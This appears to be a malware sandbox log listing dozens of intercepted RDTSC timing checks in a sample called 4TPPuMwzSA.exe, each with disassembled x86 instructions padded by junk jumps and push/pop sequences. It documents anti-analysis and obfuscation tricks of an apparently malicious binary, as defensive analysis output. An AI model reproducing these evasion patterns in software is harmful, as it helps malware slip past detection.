Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56700EC second address: 56701B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 7A1B432Ah 0x0000000f jmp 00007FF8BD1A4C87h 0x00000014 call 00007FF8BD1A4C79h 0x00000019 pushad 0x0000001a jmp 00007FF8BD1A4C84h 0x0000001f push eax 0x00000020 mov bh, 47h 0x00000022 pop eax 0x00000023 popad 0x00000024 push eax 0x00000025 jmp 00007FF8BD1A4C88h 0x0000002a mov eax, dword ptr [esp+04h] 0x0000002e pushad 0x0000002f push edi 0x00000030 mov ebx, eax 0x00000032 pop esi 0x00000033 call 00007FF8BD1A4C89h 0x00000038 mov ecx, 43FFA557h 0x0000003d pop esi 0x0000003e popad 0x0000003f mov eax, dword ptr [eax] 0x00000041 jmp 00007FF8BD1A4C7Ah 0x00000046 mov dword ptr [esp+04h], eax 0x0000004a pushad 0x0000004b movsx edx, cx 0x0000004e jmp 00007FF8BD1A4C7Ah 0x00000053 popad 0x00000054 pop eax 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007FF8BD1A4C87h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56701B0 second address: 56701E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF8BCD7C83Fh 0x00000008 jmp 00007FF8BCD7C848h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr fs:[00000000h] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56701E9 second address: 56701ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56701ED second address: 56701F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56701F3 second address: 5670202 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8BD1A4C7Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670202 second address: 5670229 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BCD7C849h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d mov cl, 5Bh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670229 second address: 56702D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BD1A4C85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c call 00007FF8BD1A4C87h 0x00000011 jmp 00007FF8BD1A4C88h 0x00000016 pop esi 0x00000017 mov di, 1876h 0x0000001b popad 0x0000001c nop 0x0000001d jmp 00007FF8BD1A4C7Dh 0x00000022 sub esp, 18h 0x00000025 pushad 0x00000026 push esi 0x00000027 pushad 0x00000028 popad 0x00000029 pop edx 0x0000002a pushfd 0x0000002b jmp 00007FF8BD1A4C86h 0x00000030 sub ax, 7CC8h 0x00000035 jmp 00007FF8BD1A4C7Bh 0x0000003a popfd 0x0000003b popad 0x0000003c xchg eax, ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007FF8BD1A4C85h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56702D1 second address: 56702E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8BCD7C83Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56702E1 second address: 56702E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56702E5 second address: 56702FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF8BCD7C83Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56702FD second address: 5670360 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FF8BD1A4C87h 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007FF8BD1A4C89h 0x0000000f sub ah, 00000056h 0x00000012 jmp 00007FF8BD1A4C81h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebx 0x0000001c jmp 00007FF8BD1A4C7Eh 0x00000021 xchg eax, esi 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670360 second address: 5670364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670364 second address: 567036A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 567036A second address: 56703D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BCD7C844h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FF8BCD7C83Bh 0x0000000f xchg eax, esi 0x00000010 jmp 00007FF8BCD7C846h 0x00000015 xchg eax, edi 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FF8BCD7C83Dh 0x0000001f adc ecx, 449A1626h 0x00000025 jmp 00007FF8BCD7C841h 0x0000002a popfd 0x0000002b mov dl, ch 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56703D2 second address: 56703D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56703D8 second address: 56703EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov di, ax 0x0000000f mov ax, A13Fh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56703EC second address: 5670400 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8BD1A4C80h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670400 second address: 5670404 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670404 second address: 56704E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 pushad 0x0000000a push edi 0x0000000b pushfd 0x0000000c jmp 00007FF8BD1A4C88h 0x00000011 or ch, FFFFFF88h 0x00000014 jmp 00007FF8BD1A4C7Bh 0x00000019 popfd 0x0000001a pop eax 0x0000001b mov dx, A2CCh 0x0000001f popad 0x00000020 mov eax, dword ptr [75444538h] 0x00000025 pushad 0x00000026 movsx ebx, cx 0x00000029 pushfd 0x0000002a jmp 00007FF8BD1A4C7Ah 0x0000002f adc ecx, 3EC7E6E8h 0x00000035 jmp 00007FF8BD1A4C7Bh 0x0000003a popfd 0x0000003b popad 0x0000003c xor dword ptr [ebp-08h], eax 0x0000003f jmp 00007FF8BD1A4C86h 0x00000044 xor eax, ebp 0x00000046 jmp 00007FF8BD1A4C81h 0x0000004b nop 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f pushfd 0x00000050 jmp 00007FF8BD1A4C83h 0x00000055 sub ah, 0000003Eh 0x00000058 jmp 00007FF8BD1A4C89h 0x0000005d popfd 0x0000005e pushfd 0x0000005f jmp 00007FF8BD1A4C80h 0x00000064 sub eax, 69742938h 0x0000006a jmp 00007FF8BD1A4C7Bh 0x0000006f popfd 0x00000070 popad 0x00000071 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56704E9 second address: 56704F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 3A02495Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56704F3 second address: 567054F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FF8BD1A4C7Eh 0x0000000d nop 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FF8BD1A4C7Eh 0x00000015 xor ax, 22C8h 0x0000001a jmp 00007FF8BD1A4C7Bh 0x0000001f popfd 0x00000020 mov edx, eax 0x00000022 popad 0x00000023 lea eax, dword ptr [ebp-10h] 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 jmp 00007FF8BD1A4C87h 0x0000002e mov bx, cx 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 567054F second address: 5670610 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 pushfd 0x00000007 jmp 00007FF8BCD7C847h 0x0000000c adc ax, BF1Eh 0x00000011 jmp 00007FF8BCD7C849h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov dword ptr fs:[00000000h], eax 0x00000020 jmp 00007FF8BCD7C83Eh 0x00000025 mov dword ptr [ebp-18h], esp 0x00000028 jmp 00007FF8BCD7C840h 0x0000002d mov eax, dword ptr fs:[00000018h] 0x00000033 pushad 0x00000034 movzx eax, bx 0x00000037 mov bx, B9DEh 0x0000003b popad 0x0000003c mov ecx, dword ptr [eax+00000FDCh] 0x00000042 jmp 00007FF8BCD7C845h 0x00000047 test ecx, ecx 0x00000049 pushad 0x0000004a pushfd 0x0000004b jmp 00007FF8BCD7C83Ch 0x00000050 sub cl, FFFFFFD8h 0x00000053 jmp 00007FF8BCD7C83Bh 0x00000058 popfd 0x00000059 push esi 0x0000005a pushad 0x0000005b popad 0x0000005c pop edx 0x0000005d popad 0x0000005e jns 00007FF8BCD7C88Eh 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 push edx 0x00000068 pushad 0x00000069 popad 0x0000006a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670610 second address: 567062D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BD1A4C89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 567062D second address: 567063D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8BCD7C83Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 567063D second address: 5670641 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670641 second address: 5670685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add eax, ecx 0x0000000a jmp 00007FF8BCD7C847h 0x0000000f mov ecx, dword ptr [ebp+08h] 0x00000012 pushad 0x00000013 jmp 00007FF8BCD7C844h 0x00000018 mov edi, ecx 0x0000001a popad 0x0000001b test ecx, ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670685 second address: 5670689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670689 second address: 56706A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BCD7C845h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 566001B second address: 5660094 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 pushfd 0x00000007 jmp 00007FF8BD1A4C7Bh 0x0000000c jmp 00007FF8BD1A4C83h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 push esi 0x00000018 call 00007FF8BD1A4C7Bh 0x0000001d pop eax 0x0000001e pop edx 0x0000001f mov al, 32h 0x00000021 popad 0x00000022 push eax 0x00000023 jmp 00007FF8BD1A4C80h 0x00000028 xchg eax, ebp 0x00000029 jmp 00007FF8BD1A4C80h 0x0000002e mov ebp, esp 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FF8BD1A4C87h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5660094 second address: 56600DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 jmp 00007FF8BCD7C83Bh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d sub esp, 2Ch 0x00000010 jmp 00007FF8BCD7C846h 0x00000015 xchg eax, ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FF8BCD7C847h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56600DA second address: 56600E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56600E0 second address: 56600E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56600E4 second address: 56600E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56600E8 second address: 566014B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a movzx eax, di 0x0000000d pushad 0x0000000e call 00007FF8BCD7C83Fh 0x00000013 pop ecx 0x00000014 movsx ebx, ax 0x00000017 popad 0x00000018 popad 0x00000019 xchg eax, ebx 0x0000001a jmp 00007FF8BCD7C840h 0x0000001f xchg eax, edi 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007FF8BCD7C83Dh 0x00000029 adc ax, C1A6h 0x0000002e jmp 00007FF8BCD7C841h 0x00000033 popfd 0x00000034 mov esi, 50DEE8D7h 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 566014B second address: 5660187 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF8BD1A4C83h 0x00000009 jmp 00007FF8BD1A4C83h 0x0000000e popfd 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FF8BD1A4C7Bh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56601FC second address: 5660219 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BCD7C849h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5660219 second address: 566024D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BD1A4C81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF8BD1A4C89h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 566024D second address: 5660262 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BCD7C841h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5660262 second address: 56602A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BD1A4C81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edi, edi 0x0000000b pushad 0x0000000c pushad 0x0000000d mov ah, dl 0x0000000f mov dx, si 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 popad 0x00000016 pop edi 0x00000017 popad 0x00000018 inc ebx 0x00000019 jmp 00007FF8BD1A4C88h 0x0000001e test al, al 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56602A7 second address: 56602AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56602AB second address: 56602C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BD1A4C89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56602C8 second address: 56602DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, bx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FF8BCD7CA4Bh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56602DD second address: 56602E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56602E1 second address: 56602E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56602E5 second address: 56602EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56602EB second address: 566035F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BCD7C849h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea ecx, dword ptr [ebp-14h] 0x0000000c pushad 0x0000000d push eax 0x0000000e pushfd 0x0000000f jmp 00007FF8BCD7C843h 0x00000014 xor esi, 524C155Eh 0x0000001a jmp 00007FF8BCD7C849h 0x0000001f popfd 0x00000020 pop esi 0x00000021 movsx edi, si 0x00000024 popad 0x00000025 mov dword ptr [ebp-14h], edi 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FF8BCD7C842h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 566035F second address: 5660365 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5660419 second address: 566048D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BCD7C840h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FF8BCD7C8EFh 0x0000000f pushad 0x00000010 mov cl, FEh 0x00000012 mov si, dx 0x00000015 popad 0x00000016 cmp dword ptr [ebp-14h], edi 0x00000019 jmp 00007FF8BCD7C845h 0x0000001e jne 00007FF92CB0A87Fh 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 mov eax, ebx 0x00000029 pushfd 0x0000002a jmp 00007FF8BCD7C83Fh 0x0000002f and cx, 85BEh 0x00000034 jmp 00007FF8BCD7C849h 0x00000039 popfd 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 566048D second address: 5660516 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF8BD1A4C87h 0x00000009 or ax, 27CEh 0x0000000e jmp 00007FF8BD1A4C89h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FF8BD1A4C80h 0x0000001a sub si, 6848h 0x0000001f jmp 00007FF8BD1A4C7Bh 0x00000024 popfd 0x00000025 popad 0x00000026 pop edx 0x00000027 pop eax 0x00000028 mov ebx, dword ptr [ebp+08h] 0x0000002b jmp 00007FF8BD1A4C86h 0x00000030 lea eax, dword ptr [ebp-2Ch] 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007FF8BD1A4C7Ah 0x0000003c rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5660516 second address: 566051A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 566051A second address: 5660520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5660520 second address: 5660568 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 4445B033h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FF8BCD7C847h 0x00000015 and ch, 0000004Eh 0x00000018 jmp 00007FF8BCD7C849h 0x0000001d popfd 0x0000001e movzx eax, di 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5660568 second address: 56605F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 704Fh 0x00000007 call 00007FF8BD1A4C84h 0x0000000c pop esi 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], esi 0x00000013 jmp 00007FF8BD1A4C81h 0x00000018 nop 0x00000019 jmp 00007FF8BD1A4C7Eh 0x0000001e push eax 0x0000001f jmp 00007FF8BD1A4C7Bh 0x00000024 nop 0x00000025 jmp 00007FF8BD1A4C86h 0x0000002a xchg eax, ebx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e pushfd 0x0000002f jmp 00007FF8BD1A4C7Dh 0x00000034 xor cx, EDA6h 0x00000039 jmp 00007FF8BD1A4C81h 0x0000003e popfd 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56605F7 second address: 566060E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8BCD7C843h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 566060E second address: 5660634 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BD1A4C89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5660634 second address: 566064E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BCD7C846h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 566064E second address: 5660660 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8BD1A4C7Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5660694 second address: 56606BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, dl 0x00000005 mov di, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, eax 0x0000000d jmp 00007FF8BCD7C844h 0x00000012 test esi, esi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56606BD second address: 56606D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8BD1A4C82h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 56606D3 second address: 5650CEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FF92CB0A7B0h 0x0000000e xor eax, eax 0x00000010 jmp 00007FF8BCD55F6Ah 0x00000015 pop esi 0x00000016 pop edi 0x00000017 pop ebx 0x00000018 leave 0x00000019 retn 0004h 0x0000001c nop 0x0000001d sub esp, 04h 0x00000020 mov edi, eax 0x00000022 xor ebx, ebx 0x00000024 cmp edi, 00000000h 0x00000027 je 00007FF8BCD7C954h 0x0000002d call 00007FF8C167C2CBh 0x00000032 mov edi, edi 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 mov bx, si 0x0000003a mov ebx, ecx 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5650CEF second address: 5650CFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8BD1A4C7Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5650CFF second address: 5650D03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5650D03 second address: 5650D17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov bx, DA0Ch 0x00000010 mov si, dx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5650D17 second address: 5650D1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
